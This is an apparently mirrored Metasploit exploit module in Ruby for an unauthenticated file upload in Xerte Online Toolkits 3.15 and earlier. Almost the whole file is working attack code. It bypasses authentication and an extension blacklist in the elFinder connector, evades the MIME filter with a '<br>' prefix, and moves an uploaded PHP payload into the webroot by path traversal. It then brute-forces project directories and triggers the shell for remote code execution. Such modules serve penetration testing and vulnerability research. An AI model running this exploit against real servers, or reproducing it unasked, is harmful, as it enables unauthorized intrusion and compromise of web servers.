Share
## https://sploitus.com/exploit?id=PACKETSTORM:223593
# frozen_string_literal: true
    
    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::Remote::HttpClient
      include Msf::Exploit::FileDropper
      prepend Msf::Exploit::Remote::AutoCheck
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Xerte Online Toolkits Arbitrary File Upload - Unauthenticated Media Upload',
            'Description' => %q{
              This module bypasses authentication failure, extension blacklist,
              and path traversal vulnerabilities in the /editor/elfinder/php/connector.php
              endpoint to upload and execute a shell in Xerte Online Toolkits
              versions 3.15 (commit 4e40f8030a2e3267267db7ce03e0ff57270be6f5 as
              there's no patch versions used) and earlier.
            },
            'Author' => [
              'bootstrapbool <bootstrapbool[at]gmail.com>', # Vulnerability Disclosure / Metasploit Module
            ],
            'License' => MSF_LICENSE,
            'Platform' => 'linux',
            'Privileged' => false,
            'Targets' => [
              [
                'PHP', {
                  'Platform' => 'php',
                  'Arch' => ARCH_PHP
                }
              ]
            ],
            'DefaultTarget' => 0,
            'References' => [
              ['CVE', '2026-34413'],
              ['CVE', '2026-34414'],
              ['CVE', '2026-34415'],
              ['CVE', '2026-41459'],
              [
                'URL', # Python Exploit
                'https://github.com/bootstrapbool/xerteonlinetoolkits-rce'
              ],
            ],
            'DisclosureDate' => '2026-04-22',
            'Notes' => {
              'Reliability' => [REPEATABLE_SESSION],
              'Stability' => [CRASH_SAFE],
              'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
            }
          )
        )
        register_options(
          [
            OptString.new('USERNAME', [
              false,
              'Valid username. If Guest authentication is enabled, a username should NOT be provided.'
            ]),
            OptString.new('WEBROOT', [false, 'The full filepath to the local webroot. Ex: /var/www/html/']),
            OptString.new('TARGETURI', [true, 'The Xerte base path.']),
          ]
        )
      end
    
      def get_webroot
        uri = normalize_uri(target_uri.path, 'setup/')
        vprint_status("Attempting to retrieve webroot from #{uri}")
    
        res = send_request_cgi('uri' => uri)
    
        unless res && res.code == 200
          fail_with(Failure::Unknown, 'Failed to connect to /setup. It was likely removed by an administrator after installation.')
        end
    
        res.get_html_document.xpath("//text()[contains(., \"Delete 'database.php' from\")]/following::code[1]").text.presence
      end
    
      def get_elfinder_id(name, volume_id = 'l1')
        encoded_name = Rex::Text.encode_base64(name)
        relative_id = encoded_name.gsub(/=+$/, '')
        "#{volume_id}_#{relative_id}"
      end
    
      def create_dir(connector_uri, params, dirname, root_dir_id)
        dir_id = get_elfinder_id(dirname)
    
        create_dir_params = params.merge(
          'cmd' => 'mkdir',
          'name' => dirname,
          'target' => root_dir_id
        )
    
        res = send_request_cgi({
          'uri' => connector_uri,
          'vars_get' => create_dir_params
        })
    
        unless res && res.code == 302
          fail_with(Failure::UnexpectedReply, 'Failed to create directory')
        end
    
        return dir_id
      end
    
      def upload_file(connector_uri, params, filename, dir_id, payload)
        data = {
          'cmd' => 'upload',
          'target' => dir_id
        }
    
        mime = Rex::MIME::Message.new
    
        data.each_pair do |key, value|
          mime.add_part(value, nil, nil, "form-data; name=\"#{key}\"")
        end
    
        mime.add_part(
          '<br>' + payload, # The <br> tag bypasses the mime filter
          'text/plain',
          nil,
          "form-data; name=\"upload[]\"; filename=\"#{filename}\""
        )
    
        res = send_request_cgi(
          'method' => 'POST',
          'uri' => connector_uri,
          'vars_get' => params,
          'vars_post' => data,
          'ctype' => "multipart/form-data; boundary=#{mime.bound}",
          'data' => mime.to_s
        )
    
        unless res && res.code == 302
          fail_with(Failure::UnexpectedReply, 'Failed to upload file')
        end
    
        return get_elfinder_id(filename)
      end
    
      def rename_file(connector_uri, params, shellname, dirname, file_id)
        rename_file_params = params.merge(
          'cmd' => 'rename',
          'target' => file_id,
          'name' => "#{dirname}/../../../../#{shellname}"
        )
    
        res = send_request_cgi({
          'uri' => connector_uri,
          'vars_get' => rename_file_params
        })
    
        unless res && res.code == 302
          fail_with(Failure::UnexpectedReply, 'Failed to rename file')
        end
      end
    
      def exploit
        success = false
    
        connector_uri = normalize_uri(
          target_uri.path,
          '/editor/elfinder/php/connector.php'
        )
    
        if datastore['WEBROOT'].nil?
          webroot = get_webroot
        else
          webroot = datastore['WEBROOT']
        end
    
        webroot = webroot[-1] == '/' ? webroot[0..-2] : webroot
    
        vprint_status("Application Root: #{webroot}")
    
        # The root dir id is always l1_Lw regardless of authentication scheme, user, or project
        root_dir_id = 'l1_Lw'
        dirname = Rex::Text.rand_text_alpha(8)
        filename = dirname + '.txt'
        shellname = dirname + '.php4'
    
        # The --Nottingham suffix is non configurable - it's used in all Xerte installations
        if datastore['USERNAME'].nil? # Assumes Anonymous authentication enabled (Default Xerte configuration)
          user_dir = '--Nottingham/'  # Anonymous authentication uses {project_id}--Nottingham scheme for all user directories
        else
          user_dir = "-#{datastore['USERNAME']}-Nottingham/"
        end
    
        (1..100).each do |x|
          project_dir = "/USER-FILES/#{x}#{user_dir}"
    
          vprint_status("Attempting #{webroot}#{project_dir}")
    
          project_dir_uri = normalize_uri(target_uri.path, project_dir)
    
          base_params = {
            'uploadDir' => "#{webroot}#{project_dir}",
            'uploadURL' => full_uri(project_dir_uri).to_s
          }
    
          create_dir(connector_uri, base_params, dirname, root_dir_id)
    
          file_id = upload_file(
            connector_uri,
            base_params,
            filename,
            root_dir_id,
            payload.encoded
          )
    
          rename_file(connector_uri, base_params, shellname, dirname, file_id)
    
          res = send_request_cgi({
            'uri' => normalize_uri(target_uri.path, shellname)
          })
    
          next if res && res.code == 404
    
          success = true
          vprint_status("Successfully uploaded shell through #{project_dir}")
    
          register_dir_for_cleanup("#{base_params['uploadDir']}#{dirname}")
          register_file_for_cleanup("#{base_params['uploadDir']}#{filename}")
          register_file_for_cleanup("#{webroot}/#{shellname}")
          break
        end
    
        if !success
          fail_with(Failure::NotFound, 'Exploit failed. The target user likely has no projects.')
        end
      end
    
      def check
        uri = normalize_uri(target_uri.path, 'setup/')
        vprint_status("Attempting to retrieve webroot from #{uri}")
    
        res = send_request_cgi('uri' => uri)
    
        if res.nil? || res && res.code != 200
          return Exploit::CheckCode::Unknown('Failed to connect to /setup. It was likely removed by an administrator after installation.')
        end
    
        webroot = res.get_html_document.xpath("//text()[contains(., \"Delete 'database.php' from\")]/following::code[1]").text.presence
    
        # /setup only outputs the app root in vulnerable versions of xerte
        if webroot.nil?
          return Exploit::CheckCode::Unknown
        else
          return Exploit::CheckCode::Appears
        end
      end
    end